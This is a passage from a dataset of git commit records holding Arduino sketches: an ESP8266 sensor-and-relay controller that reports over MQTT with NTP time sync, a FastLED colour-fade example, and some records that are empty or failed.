(AM2302)\nDHT dht(DHTPIN, DHTTYPE, 15);\n\n\/\/ OTHER\n#define REPORT_INTERVAL 9500 \/\/ in msec\n\n#define BETWEEN_RELAY_ACTIVE 5000\n\n\/\/ DS18B20\n#define ONE_WIRE_BUS 12\n#define TEMPERATURE_PRECISION 12\n\nOneWire oneWire(ONE_WIRE_BUS);\nDallasTemperature sensors(&oneWire);\nDeviceAddress outsideThermometer;\n\n\/\/ mqtt\nchar* topic = \"esp8266\/arduino\/s02\";\nchar* subtopic = \"esp8266\/cmd\/light\";\nchar* rslttopic = \"esp8266\/cmd\/light\/rlst\";\nchar* hellotopic = \"HELLO\";\n\nchar* willTopic = \"clients\/relay\";\nchar* willMessage = \"0\";\n\n\/\/\nunsigned int localPort = 2390;\nconst int timeZone = 9;\n\n\/\/\nString clientName;\nString payload ;\n\n\/\/ send reset info\nString getResetInfo ;\nint ResetInfo = LOW;\n\n\/\/\nfloat tempCoutside ;\n\nfloat h ;\nfloat t ;\nfloat f ;\n\n\/\/\nvolatile int pirValue = LOW;\nvolatile int pirSent = LOW;\n\nvolatile int relaystatus = LOW;\nvolatile int oldrelaystatus = LOW;\n\nint getdalastempstatus = 0;\nint getdht22tempstatus = 0;\n\n\/\/\nunsigned long startMills;\nunsigned long timemillis;\nunsigned long lastRelayActionmillis;\n\n\/\/\nint relayIsReady = HIGH;\n\nWiFiClient wifiClient;\nPubSubClient client(mqtt_server, 1883, callback, wifiClient);\nWiFiUDP udp;\n\nlong lastReconnectAttempt = 0;\n\nvoid wifi_connect()\n{\n \/\/ WIFI\n if (DEBUG_PRINT) {\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n }\n\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n\n int Attempt = 0;\n while (WiFi.status() != WL_CONNECTED) {\n delay(100);\n Attempt++;\n if (DEBUG_PRINT) {\n Serial.print(\".\");\n }\n if (Attempt == 200)\n {\n if (DEBUG_PRINT) {\n Serial.println();\n Serial.println(\"Could not connect to WIFI\");\n }\n ESP.restart();\n }\n }\n\n if (DEBUG_PRINT) {\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n }\n\n}\n\nboolean reconnect()\n{\n if (!client.connected()) {\n if (client.connect((char*) clientName.c_str(), willTopic, 0, true, willMessage)) {\n client.publish(willTopic, \"1\", true);\n if ( ResetInfo == LOW) {\n client.publish(hellotopic, (char*) getResetInfo.c_str());\n ResetInfo = HIGH;\n } else {\n client.publish(hellotopic, \"hello again 1 from ESP8266 s02\");\n }\n client.subscribe(subtopic);\n if (DEBUG_PRINT) {\n Serial.println(\"connected\");\n }\n } else {\n if (DEBUG_PRINT) {\n Serial.print(\"failed, rc=\");\n Serial.println(client.state());\n }\n }\n }\n return client.connected();\n}\n\nvoid callback(char* intopic, byte* inpayload, unsigned int length)\n{\n String receivedtopic = intopic;\n String receivedpayload ;\n\n for (int i = 0; i < length; i++) {\n receivedpayload += (char)inpayload[i];\n }\n\n if (DEBUG_PRINT) {\n Serial.print(intopic);\n Serial.print(\" => \");\n Serial.println(receivedpayload);\n }\n\n unsigned long now = millis();\n\n if ((now - lastRelayActionmillis) >= BETWEEN_RELAY_ACTIVE ) {\n if ( receivedpayload == \"{\\\"LIGHT\\\":1}\") {\n relaystatus = HIGH ;\n }\n if ( receivedpayload == \"{\\\"LIGHT\\\":0}\") {\n relaystatus = LOW ;\n }\n }\n\n if (DEBUG_PRINT) {\n Serial.print(\"\");\n Serial.print(\" => relaystatus => \");\n Serial.println(relaystatus);\n }\n}\n\nvoid setup()\n{\n if (DEBUG_PRINT) {\n Serial.begin(115200);\n }\n delay(20);\n if (DEBUG_PRINT) {\n Serial.println(\"Sensor and Relay\");\n Serial.println(\"ESP.getFlashChipSize() : \");\n Serial.println(ESP.getFlashChipSize());\n }\n delay(20);\n\n startMills = timemillis = lastRelayActionmillis = millis();\n lastRelayActionmillis += BETWEEN_RELAY_ACTIVE;\n\n pinMode(pir, INPUT);\n pinMode(RELAYPIN, OUTPUT);\n pinMode(TOPBUTTONPIN, INPUT_PULLUP);\n\n digitalWrite(RELAYPIN, relaystatus);\n\n wifi_connect();\n\n clientName += \"esp8266-\";\n uint8_t mac[6];\n WiFi.macAddress(mac);\n clientName += macToStr(mac);\n clientName += \"-\";\n clientName += String(micros() & 0xff, 16);\n\n \/\/\n lastReconnectAttempt = 0;\n\n getResetInfo = \"hello from ESP8266 s02 \";\n getResetInfo += ESP.getResetInfo().substring(0, 30);\n\n if (DEBUG_PRINT) {\n Serial.println(\"Starting UDP\");\n }\n udp.begin(localPort);\n if (DEBUG_PRINT) {\n Serial.print(\"Local port: \");\n Serial.println(udp.localPort());\n }\n delay(1000);\n setSyncProvider(getNtpTime);\n\n if (timeStatus() == timeNotSet) {\n if (DEBUG_PRINT) {\n Serial.println(\"waiting for sync message\");\n }\n }\n\n attachInterrupt(13, motion_detection, RISING);\n attachInterrupt(5, run_lightcmd, CHANGE);\n\n sensors.begin();\n if (!sensors.getAddress(outsideThermometer, 0)) {\n if (DEBUG_PRINT) {\n Serial.println(\"Unable to find address for Device 0\");\n }\n }\n\n sensors.setResolution(outsideThermometer, TEMPERATURE_PRECISION);\n\n dht.begin();\n\n h = dht.readHumidity();\n t = dht.readTemperature();\n f = dht.readTemperature(true);\n\n if (isnan(h) || isnan(t) || isnan(f)) {\n if (DEBUG_PRINT) {\n Serial.println(\"Failed to read from DHT sensor!\");\n }\n return;\n }\n\n sensors.requestTemperatures();\n tempCoutside = sensors.getTempC(outsideThermometer);\n\n if ( isnan(tempCoutside) ) {\n if (DEBUG_PRINT) {\n Serial.println(\"Failed to read from DS18B20 sensor!\");\n }\n return;\n }\n}\n\nvoid loop()\n{\n if (WiFi.status() == WL_CONNECTED) {\n if (!client.connected()) {\n if (DEBUG_PRINT) {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n }\n\n long now = millis();\n if (now - lastReconnectAttempt > 500) {\n lastReconnectAttempt = now;\n if (reconnect()) {\n lastReconnectAttempt = 0;\n }\n }\n }\n } else {\n wifi_connect();\n }\n\n if ( relaystatus != oldrelaystatus ) {\n\n if (DEBUG_PRINT) {\n Serial.print(\"call changelight => relaystatus => \");\n Serial.println(relaystatus);\n }\n\n changelight();\n\n if (DEBUG_PRINT) {\n Serial.print(\"after changelight => relaystatus => \");\n Serial.println(relaystatus);\n }\n\n String lightpayload = \"{\\\"LIGHT\\\":\";\n lightpayload += relaystatus;\n lightpayload += \",\\\"READY\\\":0\";\n lightpayload += \"}\";\n\n sendmqttMsg(rslttopic, lightpayload);\n\n }\n\n if ((( millis() - lastRelayActionmillis) > BETWEEN_RELAY_ACTIVE ) && ( relayIsReady == LOW ) && ( relaystatus == oldrelaystatus ))\n {\n\n if (DEBUG_PRINT) {\n Serial.print(\"after BETWEEN_RELAY_ACTIVE => relaystatus => \");\n Serial.println(relaystatus);\n }\n\n String lightpayload = \"{\\\"LIGHT\\\":\";\n lightpayload += relaystatus;\n lightpayload += \",\\\"READY\\\":1\";\n lightpayload += \"}\";\n\n sendmqttMsg(rslttopic, lightpayload);\n relayIsReady = HIGH;\n\n }\n\n runTimerDoLightOff();\n\n pirValue = digitalRead(pir);\n\n payload = \"{\\\"Humidity\\\":\";\n payload += h;\n payload += \",\\\"Temperature\\\":\";\n payload += t;\n payload += \",\\\"DS18B20\\\":\";\n payload += tempCoutside;\n payload += \",\\\"PIRSTATUS\\\":\";\n payload += pirValue;\n payload += \",\\\"FreeHeap\\\":\";\n payload += ESP.getFreeHeap();\n payload += \",\\\"RSSI\\\":\";\n payload += WiFi.RSSI();\n payload += \",\\\"millis\\\":\";\n payload += (millis() - timemillis);\n payload += \"}\";\n\n if (( pirSent == HIGH ) && ( pirValue == HIGH ))\n {\n sendmqttMsg(topic, payload);\n pirSent = LOW ;\n startMills = millis();\n }\n\n if (((millis() - startMills) > REPORT_INTERVAL ) && ( getdalastempstatus == 0))\n {\n getdalastemp();\n getdalastempstatus = 1;\n }\n\n if (((millis() - startMills) > REPORT_INTERVAL ) && ( getdht22tempstatus == 0))\n {\n getdht22temp();\n getdht22tempstatus = 1;\n }\n\n if ((millis() - startMills) > REPORT_INTERVAL )\n {\n sendmqttMsg(topic, payload);\n getdalastempstatus = getdht22tempstatus = 0;\n startMills = millis();\n }\n\n client.loop();\n yield();\n\n}\n\nvoid runTimerDoLightOff()\n{\n if (( relaystatus == HIGH ) && ( hour() == 6 ) && ( minute() == 00 ) && ( second() < 5 ))\n {\n if (DEBUG_PRINT) {\n Serial.print(\" => \");\n Serial.print(\"checking relay status runTimerDoLightOff --> \");\n Serial.println(relaystatus);\n }\n relaystatus = LOW;\n }\n}\n\nvoid changelight()\n{\n\n if (DEBUG_PRINT) {\n Serial.print(\" => \");\n Serial.print(\"checking relay status changelight --> \");\n Serial.println(relaystatus);\n }\n\n digitalWrite(RELAYPIN, relaystatus);\n delay(50);\n\n if (DEBUG_PRINT) {\n Serial.print(\" => \");\n Serial.print(\"changing relay status --> \");\n Serial.println(relaystatus);\n }\n\n lastRelayActionmillis = millis();\n oldrelaystatus = relaystatus ;\n relayIsReady = LOW;\n}\n\nvoid getdht22temp()\n{\n\n h = dht.readHumidity();\n t = dht.readTemperature();\n f = dht.readTemperature(true);\n\n if (isnan(h) || isnan(t) || isnan(f)) {\n if (DEBUG_PRINT) {\n Serial.println(\"Failed to read from DHT sensor!\");\n }\n }\n\n float hi = dht.computeHeatIndex(f, h);\n}\n\nvoid getdalastemp()\n{\n sensors.requestTemperatures();\n tempCoutside = sensors.getTempC(outsideThermometer);\n\n if ( isnan(tempCoutside) ) {\n if (DEBUG_PRINT) {\n Serial.println(\"Failed to read from sensor!\");\n }\n }\n}\n\nvoid sendmqttMsg(char* topictosend, String payload)\n{\n\n if (client.connected()) {\n if (DEBUG_PRINT) {\n Serial.print(\"Sending payload: \");\n Serial.print(payload);\n }\n\n unsigned int msg_length = payload.length();\n\n if (DEBUG_PRINT) {\n Serial.print(\" length: \");\n Serial.println(msg_length);\n }\n\n byte* p = (byte*)malloc(msg_length);\n memcpy(p, (char*) payload.c_str(), msg_length);\n\n if ( client.publish(topictosend, p, msg_length, 1)) {\n if (DEBUG_PRINT) {\n Serial.println(\"Publish ok\");\n }\n free(p);\n } else {\n if (DEBUG_PRINT) {\n Serial.println(\"Publish failed\");\n }\n free(p);\n }\n }\n}\n\nvoid run_lightcmd()\n{\n int topbuttonstatus = ! digitalRead(TOPBUTTONPIN);\n relaystatus = topbuttonstatus ;\n}\n\nvoid motion_detection()\n{\n pirValue = pirSent = HIGH ;\n}\n\nString macToStr(const uint8_t* mac)\n{\n String result;\n for (int i = 0; i < 6; ++i) {\n result += String(mac[i], 16);\n if (i < 5)\n result += ':';\n }\n return result;\n}\n\n\/*-------- NTP code ----------*\/\nconst int NTP_PACKET_SIZE = 48;\nbyte packetBuffer[NTP_PACKET_SIZE];\n\ntime_t getNtpTime()\n{\n while (udp.parsePacket() > 0) ;\n if (DEBUG_PRINT) {\n Serial.println(\"Transmit NTP Request called\");\n }\n sendNTPpacket(time_server);\n delay(2000);\n uint32_t beginWait = millis();\n while (millis() - beginWait < 1500) {\n int size = udp.parsePacket();\n if (size >= NTP_PACKET_SIZE) {\n if (DEBUG_PRINT) {\n Serial.println(\"Receive NTP Response\");\n }\n udp.read(packetBuffer, NTP_PACKET_SIZE);\n unsigned long secsSince1900;\n secsSince1900 = (unsigned long)packetBuffer[40] << 24;\n secsSince1900 |= (unsigned long)packetBuffer[41] << 16;\n secsSince1900 |= (unsigned long)packetBuffer[42] << 8;\n secsSince1900 |= (unsigned long)packetBuffer[43];\n return secsSince1900 - 2208988800UL + timeZone * SECS_PER_HOUR;\n }\n }\n if (DEBUG_PRINT) {\n Serial.println(millis() - beginWait);\n Serial.println(\"No NTP Response :-(\");\n }\n return 0;\n}\n\nvoid sendNTPpacket(IPAddress & address)\n{\n if (DEBUG_PRINT) {\n Serial.println(\"Transmit NTP Request\");\n }\n memset(packetBuffer, 0, NTP_PACKET_SIZE);\n packetBuffer[0] = 0b11100011;\n packetBuffer[1] = 0;\n packetBuffer[2] = 6;\n packetBuffer[3] = 0xEC;\n packetBuffer[12] = 49;\n packetBuffer[13] = 0x4E;\n packetBuffer[14] = 49;\n packetBuffer[15] = 52;\n udp.beginPacket(address, 123);\n udp.write(packetBuffer, NTP_PACKET_SIZE);\n udp.endPacket();\n if (DEBUG_PRINT) {\n Serial.println(\"Transmit NTP Sent\");\n }\n}\n\/\/\n","old_contents":"#include <OneWire.h>\n#include \"DHT.h\"\n#include <PubSubClient.h>\n#include <ESP8266WiFi.h>\n#include <DallasTemperature.h>\n#include <WiFiUdp.h>\n#include <Time.h>\n\n#define _IS_MY_HOME\n\/\/ wifi\n#ifdef _IS_MY_HOME\n#include \"\/usr\/local\/src\/ap_setting.h\"\n#else\n#include \"ap_setting.h\"\n#endif\n\n#define DEBUG_PRINT 0\n\n\/\/ ****************\nconst char* ssid = WIFI_SSID;\nconst char* password = WIFI_PASSWORD;\nIPAddress mqtt_server = MQTT_SERVER;\nIPAddress time_server = MQTT_SERVER;\n\n\/\/ pin\n#define pir 13\n#define DHTPIN 14\n#define RELAYPIN 4\n#define TOPBUTTONPIN 5\n\n\/\/ DHT22\n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\nDHT dht(DHTPIN, DHTTYPE, 15);\n\n\/\/ OTHER\n#define REPORT_INTERVAL 9500 \/\/ in msec\n\n\/\/ DS18B20\n#define ONE_WIRE_BUS 12\n#define TEMPERATURE_PRECISION 12\n\nOneWire oneWire(ONE_WIRE_BUS);\nDallasTemperature sensors(&oneWire);\nDeviceAddress outsideThermometer;\n\n\/\/ mqtt\nchar* topic = \"esp8266\/arduino\/s02\";\nchar* subtopic = \"esp8266\/cmd\/light\";\nchar* rslttopic = \"esp8266\/cmd\/light\/rlst\";\nchar* hellotopic = \"HELLO\";\n\nchar* willTopic = \"clients\/relay\";\nchar* willMessage = \"0\";\n\n\/\/\nunsigned int localPort = 2390;\nconst int timeZone = 9;\n\n\/\/\nString clientName;\nString payload ;\n\n\/\/ send reset info\nString getResetInfo ;\nint ResetInfo = LOW;\n\n\/\/\nfloat tempCoutside ;\n\nfloat h ;\nfloat t ;\nfloat f ;\n\n\/\/\nvolatile int pirValue = LOW;\nvolatile int pirSent = LOW;\n\nvolatile int relaystatus = LOW;\nvolatile int oldrelaystatus = LOW;\n\nint getdalastempstatus = 0;\nint getdht22tempstatus = 0;\n\n\/\/\nunsigned long startMills;\nunsigned long timemillis;\nunsigned long lastRelayActionmillis;\n\n\/\/\nint relayIsReady = HIGH;\n\nWiFiClient wifiClient;\nPubSubClient client(mqtt_server, 1883, callback, wifiClient);\nWiFiUDP udp;\n\nlong lastReconnectAttempt = 0;\n\nvoid wifi_connect()\n{\n \/\/ WIFI\n if (DEBUG_PRINT) {\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n }\n\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n\n int Attempt = 0;\n while (WiFi.status() != WL_CONNECTED) {\n delay(100);\n Attempt++;\n if (DEBUG_PRINT) {\n Serial.print(\".\");\n }\n if (Attempt == 200)\n {\n if (DEBUG_PRINT) {\n Serial.println();\n Serial.println(\"Could not connect to WIFI\");\n }\n ESP.restart();\n }\n }\n\n if (DEBUG_PRINT) {\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n }\n\n}\n\nboolean reconnect()\n{\n if (!client.connected()) {\n if (client.connect((char*) clientName.c_str(), willTopic, 0, true, willMessage)) {\n client.publish(willTopic, \"1\", true);\n if ( ResetInfo == LOW) {\n client.publish(hellotopic, (char*) getResetInfo.c_str());\n ResetInfo = HIGH;\n } else {\n client.publish(hellotopic, \"hello again 1 from ESP8266 s02\");\n }\n client.subscribe(subtopic);\n if (DEBUG_PRINT) {\n Serial.println(\"connected\");\n }\n } else {\n if (DEBUG_PRINT) {\n Serial.print(\"failed, rc=\");\n Serial.println(client.state());\n }\n }\n }\n return client.connected();\n}\n\nvoid callback(char* intopic, byte* inpayload, unsigned int length)\n{\n String receivedtopic = intopic;\n String receivedpayload ;\n\n for (int i = 0; i < length; i++) {\n receivedpayload += (char)inpayload[i];\n }\n\n if (DEBUG_PRINT) {\n Serial.print(intopic);\n Serial.print(\" => \");\n Serial.println(receivedpayload);\n }\n\n unsigned long now = millis();\n\n if ((now - lastRelayActionmillis) >= 30000) {\n if ( receivedpayload == \"{\\\"LIGHT\\\":1}\") {\n relaystatus = 1 ;\n }\n else if ( receivedpayload == \"{\\\"LIGHT\\\":0}\") {\n relaystatus = 0 ;\n }\n }\n\n if (DEBUG_PRINT) {\n Serial.print(\"\");\n Serial.print(\" => relaystatus => \");\n Serial.println(relaystatus);\n }\n}\n\nvoid setup()\n{\n if (DEBUG_PRINT) {\n Serial.begin(115200);\n }\n delay(20);\n if (DEBUG_PRINT) {\n Serial.println(\"Sensor and Relay\");\n Serial.println(\"ESP.getFlashChipSize() : \");\n Serial.println(ESP.getFlashChipSize());\n }\n delay(20);\n\n startMills = timemillis = lastRelayActionmillis = millis();\n lastRelayActionmillis += 30000;\n\n pinMode(pir, INPUT);\n pinMode(RELAYPIN, OUTPUT);\n pinMode(TOPBUTTONPIN, INPUT_PULLUP);\n\n digitalWrite(RELAYPIN, relaystatus);\n\n wifi_connect();\n\n clientName += \"esp8266-\";\n uint8_t mac[6];\n WiFi.macAddress(mac);\n clientName += macToStr(mac);\n clientName += \"-\";\n clientName += String(micros() & 0xff, 16);\n\n \/\/\n lastReconnectAttempt = 0;\n\n getResetInfo = \"hello from ESP8266 s02 \";\n getResetInfo += ESP.getResetInfo().substring(0, 30);\n\n if (DEBUG_PRINT) {\n Serial.println(\"Starting UDP\");\n }\n udp.begin(localPort);\n if (DEBUG_PRINT) {\n Serial.print(\"Local port: \");\n Serial.println(udp.localPort());\n }\n delay(1000);\n setSyncProvider(getNtpTime);\n\n if (timeStatus() == timeNotSet) {\n if (DEBUG_PRINT) {\n Serial.println(\"waiting for sync message\");\n }\n }\n\n attachInterrupt(13, motion_detection, RISING);\n attachInterrupt(5, run_lightcmd, CHANGE);\n\n sensors.begin();\n if (!sensors.getAddress(outsideThermometer, 0)) {\n if (DEBUG_PRINT) {\n Serial.println(\"Unable to find address for Device 0\");\n }\n }\n\n sensors.setResolution(outsideThermometer, TEMPERATURE_PRECISION);\n\n dht.begin();\n\n h = dht.readHumidity();\n t = dht.readTemperature();\n f = dht.readTemperature(true);\n\n if (isnan(h) || isnan(t) || isnan(f)) {\n if (DEBUG_PRINT) {\n Serial.println(\"Failed to read from DHT sensor!\");\n }\n return;\n }\n\n sensors.requestTemperatures();\n tempCoutside = sensors.getTempC(outsideThermometer);\n\n if ( isnan(tempCoutside) ) {\n if (DEBUG_PRINT) {\n Serial.println(\"Failed to read from DS18B20 sensor!\");\n }\n return;\n }\n}\n\nvoid loop()\n{\n if (WiFi.status() == WL_CONNECTED) {\n if (!client.connected()) {\n if (DEBUG_PRINT) {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n }\n\n long now = millis();\n if (now - lastReconnectAttempt > 1000) {\n lastReconnectAttempt = now;\n if (reconnect()) {\n lastReconnectAttempt = 0;\n }\n }\n }\n } else {\n wifi_connect();\n }\n\n if ( relaystatus != oldrelaystatus ) {\n\n changelight();\n\n String lightpayload = \"{\\\"LIGHT\\\":\";\n lightpayload += relaystatus;\n lightpayload += \",\\\"READY\\\":0\";\n lightpayload += \"}\";\n\n sendmqttMsg(rslttopic, lightpayload);\n\n }\n\n if ((( millis() - lastRelayActionmillis) > 30000 ) && ( relayIsReady == LOW ) && ( relaystatus == oldrelaystatus ))\n {\n\n String lightpayload = \"{\\\"LIGHT\\\":\";\n lightpayload += relaystatus;\n lightpayload += \",\\\"READY\\\":1\";\n lightpayload += \"}\";\n\n sendmqttMsg(rslttopic, lightpayload);\n relayIsReady = HIGH;\n \n }\n\n runTimerDoLightOff();\n\n pirValue = digitalRead(pir);\n\n payload = \"{\\\"Humidity\\\":\";\n payload += h;\n payload += \",\\\"Temperature\\\":\";\n payload += t;\n payload += \",\\\"DS18B20\\\":\";\n payload += tempCoutside;\n payload += \",\\\"PIRSTATUS\\\":\";\n payload += pirValue;\n payload += \",\\\"FreeHeap\\\":\";\n payload += ESP.getFreeHeap();\n payload += \",\\\"RSSI\\\":\";\n payload += WiFi.RSSI();\n payload += \",\\\"millis\\\":\";\n payload += (millis() - timemillis);\n payload += \"}\";\n\n if (( pirSent == HIGH ) && ( pirValue == HIGH ))\n {\n sendmqttMsg(topic, payload);\n pirSent = LOW ;\n startMills = millis();\n }\n\n if (((millis() - startMills) > REPORT_INTERVAL ) && ( getdalastempstatus == 0))\n {\n getdalastemp();\n getdalastempstatus = 1;\n }\n\n if (((millis() - startMills) > REPORT_INTERVAL ) && ( getdht22tempstatus == 0))\n {\n getdht22temp();\n getdht22tempstatus = 1;\n }\n\n if ((millis() - startMills) > REPORT_INTERVAL )\n {\n sendmqttMsg(topic, payload);\n getdalastempstatus = getdht22tempstatus = 0;\n startMills = millis();\n }\n\n client.loop();\n\n}\n\nvoid runTimerDoLightOff()\n{\n if (( relaystatus == 1 ) && ( hour() == 6 ) && ( minute() == 00 ) && ( second() < 5 ))\n {\n relaystatus = 0;\n }\n}\n\nvoid changelight()\n{\n\n if (DEBUG_PRINT) {\n Serial.print(\" => \");\n Serial.println(\"checking relay status changelight\");\n }\n\n digitalWrite(RELAYPIN, relaystatus);\n delay(50);\n\n oldrelaystatus = relaystatus ;\n relayIsReady = LOW;\n\n if (DEBUG_PRINT) {\n Serial.print(\" => \");\n Serial.println(\"changing relay status\");\n }\n\n lastRelayActionmillis = millis();\n}\n\nvoid getdht22temp()\n{\n\n h = dht.readHumidity();\n t = dht.readTemperature();\n f = dht.readTemperature(true);\n\n if (isnan(h) || isnan(t) || isnan(f)) {\n if (DEBUG_PRINT) {\n Serial.println(\"Failed to read from DHT sensor!\");\n }\n }\n\n float hi = dht.computeHeatIndex(f, h);\n}\n\nvoid getdalastemp()\n{\n sensors.requestTemperatures();\n tempCoutside = sensors.getTempC(outsideThermometer);\n\n if ( isnan(tempCoutside) ) {\n if (DEBUG_PRINT) {\n Serial.println(\"Failed to read from sensor!\");\n }\n }\n}\n\nvoid sendmqttMsg(char* topictosend, String payload)\n{\n\n if (client.connected()) {\n if (DEBUG_PRINT) {\n Serial.print(\"Sending payload: \");\n Serial.print(payload);\n }\n\n unsigned int msg_length = payload.length();\n\n if (DEBUG_PRINT) {\n Serial.print(\" length: \");\n Serial.println(msg_length);\n }\n\n byte* p = (byte*)malloc(msg_length);\n memcpy(p, (char*) payload.c_str(), msg_length);\n\n if ( client.publish(topictosend, p, msg_length, 1)) {\n if (DEBUG_PRINT) {\n Serial.println(\"Publish ok\");\n }\n free(p);\n } else {\n if (DEBUG_PRINT) {\n Serial.println(\"Publish failed\");\n }\n free(p);\n }\n }\n}\n\nvoid run_lightcmd()\n{\n int topbuttonstatus = ! digitalRead(TOPBUTTONPIN);\n relaystatus = topbuttonstatus ;\n}\n\nvoid motion_detection()\n{\n pirValue = pirSent = HIGH ;\n}\n\nString macToStr(const uint8_t* mac)\n{\n String result;\n for (int i = 0; i < 6; ++i) {\n result += String(mac[i], 16);\n if (i < 5)\n result += ':';\n }\n return result;\n}\n\n\/*-------- NTP code ----------*\/\nconst int NTP_PACKET_SIZE = 48;\nbyte packetBuffer[NTP_PACKET_SIZE];\n\ntime_t getNtpTime()\n{\n while (udp.parsePacket() > 0) ;\n if (DEBUG_PRINT) {\n Serial.println(\"Transmit NTP Request called\");\n }\n sendNTPpacket(time_server);\n delay(1000);\n uint32_t beginWait = millis();\n while (millis() - beginWait < 1500) {\n int size = udp.parsePacket();\n if (size >= NTP_PACKET_SIZE) {\n if (DEBUG_PRINT) {\n Serial.println(\"Receive NTP Response\");\n }\n udp.read(packetBuffer, NTP_PACKET_SIZE);\n unsigned long secsSince1900;\n secsSince1900 = (unsigned long)packetBuffer[40] << 24;\n secsSince1900 |= (unsigned long)packetBuffer[41] << 16;\n secsSince1900 |= (unsigned long)packetBuffer[42] << 8;\n secsSince1900 |= (unsigned long)packetBuffer[43];\n return secsSince1900 - 2208988800UL + timeZone * SECS_PER_HOUR;\n }\n }\n if (DEBUG_PRINT) {\n Serial.println(millis() - beginWait);\n Serial.println(\"No NTP Response :-(\");\n }\n return 0;\n}\n\nvoid sendNTPpacket(IPAddress & address)\n{\n if (DEBUG_PRINT) {\n Serial.println(\"Transmit NTP Request\");\n }\n memset(packetBuffer, 0, NTP_PACKET_SIZE);\n packetBuffer[0] = 0b11100011;\n packetBuffer[1] = 0;\n packetBuffer[2] = 6;\n packetBuffer[3] = 0xEC;\n packetBuffer[12] = 49;\n packetBuffer[13] = 0x4E;\n packetBuffer[14] = 49;\n packetBuffer[15] = 52;\n udp.beginPacket(address, 123);\n udp.write(packetBuffer, NTP_PACKET_SIZE);\n udp.endPacket();\n if (DEBUG_PRINT) {\n Serial.println(\"Transmit NTP Sent\");\n }\n}\n\/\/\n","returncode":0,"stderr":"","license":"lgpl-2.1","lang":"Arduino"} {"commit":"9e927637b701f3ab5b16f1159ef962ebc35749b0","subject":"Create fade_toward_solid_color.ino","message":"Create fade_toward_solid_color.ino","repos":"marmilicious\/FastLED_examples","old_file":"fade_toward_solid_color.ino","new_file":"fade_toward_solid_color.ino","new_contents":"\/****************************************************************\nThis example displays a color on all pixels, then blends the\ndisplay to a new color and holds it for a bit. Then repeats...\n\nThe serial monitor will print out the target color when a new\none is picked.\n\nMarc Miller, Jan 2020\n****************************************************************\/\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define COLOR_ORDER GRB\n#define DATA_PIN 11\n#define CLOCK_PIN 13 \/\/ ignore for clockless pixel types\n#define NUM_LEDS 32\nuint8_t BRIGHTNESS = 128; \/\/ master brightness [0-255]\nCRGB leds[NUM_LEDS];\n\nCRGB currentColor(130,25,25); \/\/ starting color\nCRGB targetColor(30,40,130); \/\/ starting target color\nconst uint8_t fadeRate = 42; \/\/ larger number is a slower fade\n\nboolean fadeToColor = 1; \/\/ turns on\/off the fading toward target\n\n \n\/\/===============================================================\nvoid setup() {\n Serial.begin(115200);\n delay(3000); \/\/ (optional) safety start up delay\n \/\/FastLED.addLeds<LED_TYPE, DATA_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS); \/\/ set initial master brightness\n\n fill_solid(leds, NUM_LEDS, currentColor);\n FastLED.show(); \/\/ update the display\n Serial.println(\"\\nSetup done.\\n\");\n}\n\n\n\/\/===============================================================\nvoid loop() {\n\n EVERY_N_SECONDS(15) {\n newTargetColor(); \/\/ set the new target color\n fadeToColor = 1; \/\/ start fading toward target\n }\n\n EVERY_N_MILLISECONDS(fadeRate) {\n if (currentColor == targetColor) {\n fadeToColor = 0; \/\/ stop fading\n }\n if (fadeToColor) {\n nblendU8TowardU8( currentColor.r, targetColor.r);\n nblendU8TowardU8( currentColor.g, targetColor.g);\n nblendU8TowardU8( currentColor.b, targetColor.b);\n currentColor = CRGB(currentColor.r,currentColor.g,currentColor.b);\n }\n\n fill_solid(leds, NUM_LEDS, currentColor);\n\n \/\/ For Testing --- always display target on first pixel\n leds[0] = targetColor;\n\n FastLED.show();\n }\n\n} \/\/ end_main_loop\n\n\n\/\/===============================================================\n\/\/ Modified helper function that blends one uint8_t toward another,\n\/\/ based on function from Mark Kriegsman's fadeTowardColor example:\n\/\/ https:\/\/gist.github.com\/kriegsman\/d0a5ed3c8f38c64adcb4837dafb6e690\nvoid nblendU8TowardU8(uint8_t& current, const uint8_t target)\n{\n if( current == target) {\n return;\n }\n\n if( current < target ) {\n uint8_t delta = target - current;\n delta = scale8_video( delta, 1);\n current += delta;\n } else {\n uint8_t delta = current - target;\n delta = scale8_video( delta, 1);\n current -= delta;\n }\n}\n\n\n\/\/---------------------------------------------------------------\n\/\/ Pick a new target color to fade toward\nvoid newTargetColor() {\n random16_add_entropy( random() );\n targetColor = CHSV( random8(), 255, 255);\n\n Serial.print(\"New targetColor \");\n Serial.print(\"\\tr: \"); Serial.print(targetColor.r);\n Serial.print(\"\\tg: \"); Serial.print(targetColor.g);\n Serial.print(\"\\tb: \"); Serial.println(targetColor.b); \n}\n\n\n\/\/---------------------------------------------------------------\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'fade_toward_solid_color.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cc1586f931703293f66fe18d66303c685863cf5f","subject":"Update pt_remote controlled car.ino","message":"Update pt_remote controlled car.ino","repos":"billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino","old_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car\/pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1de40a1b61f5778e6a50d5e130781bfaf9ab45b0","subject":"Update 